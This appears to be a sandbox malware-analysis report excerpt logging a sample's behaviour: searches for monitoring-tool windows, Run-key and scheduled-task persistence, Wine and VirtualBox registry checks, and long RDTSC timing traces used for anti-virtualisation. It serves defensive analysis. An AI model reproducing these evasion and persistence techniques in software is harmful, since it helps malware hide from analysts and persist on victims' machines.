Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsIDGIJEGHDA.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1e42688e0b.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1e42688e0b.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 36030a5366.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 36030a5366.exe

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF01B1 second address: CF01B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6879D second address: E687A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7573A second address: E75740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75740 second address: E75746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75746 second address: E75755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 jl 00007F3F0D2D4ABCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75755 second address: E75784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F0C7D6242h 0x00000009 jmp 00007F3F0C7D623Fh 0x0000000e jnp 00007F3F0C7D623Eh 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75A0E second address: E75A12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75CE9 second address: E75CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E791F1 second address: E79235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 add dword ptr [esp], 4AA9ACE0h 0x0000000d mov ecx, 2400045Fh 0x00000012 push 00000003h 0x00000014 movsx ecx, di 0x00000017 sub dword ptr [ebp+122D2F32h], edi 0x0000001d push 00000000h 0x0000001f xor dword ptr [ebp+122D1C8Ah], ecx 0x00000025 push 00000003h 0x00000027 or dword ptr [ebp+122D1A87h], ecx 0x0000002d call 00007F3F0D2D4AB9h 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F3F0D2D4ABBh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79235 second address: E79261 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3F0C7D6236h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F3F0C7D6244h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3F0C7D623Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79261 second address: E792A4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3F0D2D4AB8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push esi 0x00000011 jmp 00007F3F0D2D4ABDh 0x00000016 pop esi 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c jnp 00007F3F0D2D4AB6h 0x00000022 jmp 00007F3F0D2D4AC8h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E792A4 second address: E792C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D6246h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E793EF second address: E79427 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F3F0D2D4AC7h 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 jnp 00007F3F0D2D4AB8h 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jbe 00007F3F0D2D4AB6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79427 second address: E7942B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7942B second address: E79477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F3F0D2D4AC3h 0x00000010 pop eax 0x00000011 sub dword ptr [ebp+122D1A87h], ecx 0x00000017 push 00000003h 0x00000019 add esi, dword ptr [ebp+122D2AB8h] 0x0000001f push 00000000h 0x00000021 jmp 00007F3F0D2D4ABBh 0x00000026 push 00000003h 0x00000028 mov ecx, dword ptr [ebp+122D2A5Ch] 0x0000002e push 5DD83C3Ch 0x00000033 push edi 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79477 second address: E794AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 add dword ptr [esp], 6227C3C4h 0x0000000e lea ebx, dword ptr [ebp+1245D046h] 0x00000014 mov esi, dword ptr [ebp+122D2AE8h] 0x0000001a xchg eax, ebx 0x0000001b jmp 00007F3F0C7D623Eh 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jne 00007F3F0C7D623Ch 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E794AF second address: E794B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F3F0D2D4AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79564 second address: E79569 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97D82 second address: E97D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97D86 second address: E97D8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97D8C second address: E97D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F3F0D2D4AC2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97D9A second address: E97DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97DA0 second address: E97DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97DA4 second address: E97DCF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3F0C7D6238h 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F3F0C7D6243h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3F0C7D623Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97DCF second address: E97DDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 js 00007F3F0D2D4AB6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97DDB second address: E97DEF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F3F0C7D6236h 0x0000000e jne 00007F3F0C7D6236h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98750 second address: E98756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98756 second address: E9875A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98CDF second address: E98CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98CE3 second address: E98D06 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jl 00007F3F0C7D6236h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F3F0C7D6236h 0x00000014 jmp 00007F3F0C7D623Fh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98D06 second address: E98D0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98D0A second address: E98D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E99404 second address: E9940F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9940F second address: E9941F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3F0C7D6236h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9941F second address: E99423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E99564 second address: E995A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 jne 00007F3F0C7D6236h 0x0000000e jmp 00007F3F0C7D623Dh 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 push eax 0x00000017 jc 00007F3F0C7D6236h 0x0000001d pushad 0x0000001e popad 0x0000001f pop eax 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jnp 00007F3F0C7D6242h 0x00000029 jo 00007F3F0C7D6236h 0x0000002f jp 00007F3F0C7D6236h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E995A1 second address: E995CF instructions: 0x00000000 rdtsc 0x00000002 je 00007F3F0D2D4AC7h 0x00000008 pushad 0x00000009 jmp 00007F3F0D2D4ABCh 0x0000000e js 00007F3F0D2D4AB6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E995CF second address: E995D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E99A0A second address: E99A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E99A10 second address: E99A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E99A14 second address: E99A20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F3F0D2D4AB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FC91 second address: E9FCB8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F3F0C7D6244h 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push ebx 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop ebx 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FCB8 second address: E9FCE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push esi 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F3F0D2D4AC3h 0x00000011 popad 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 pushad 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA1041 second address: EA1045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA1045 second address: EA1049 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA256B second address: EA2570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6025C second address: E60270 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4ABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA3AF5 second address: EA3AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA3AFB second address: EA3B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA3B07 second address: EA3B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E61C8B second address: E61CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 jmp 00007F3F0D2D4AC8h 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7942 second address: EA7947 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7521 second address: EA7527 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7527 second address: EA752B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA752B second address: EA752F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA96D0 second address: EA96D5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA96D5 second address: EA9707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jp 00007F3F0D2D4ACDh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 je 00007F3F0D2D4ABCh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9707 second address: EA971F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F3F0C7D6238h 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push edx 0x0000000e jc 00007F3F0C7D623Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9D3B second address: EA9D53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F3F0D2D4AB6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007F3F0D2D4AB6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9D53 second address: EA9D61 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3F0C7D6236h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9D61 second address: EA9D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA2B1 second address: EAA2B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA8EC second address: EAA8F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC795 second address: EAC7F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov si, ax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F3F0C7D6238h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 or esi, 7DB01460h 0x0000002e push 00000000h 0x00000030 xchg eax, ebx 0x00000031 jmp 00007F3F0C7D623Ch 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a jmp 00007F3F0C7D623Eh 0x0000003f jmp 00007F3F0C7D623Ch 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC7F4 second address: EAC7FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC7FA second address: EAC7FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
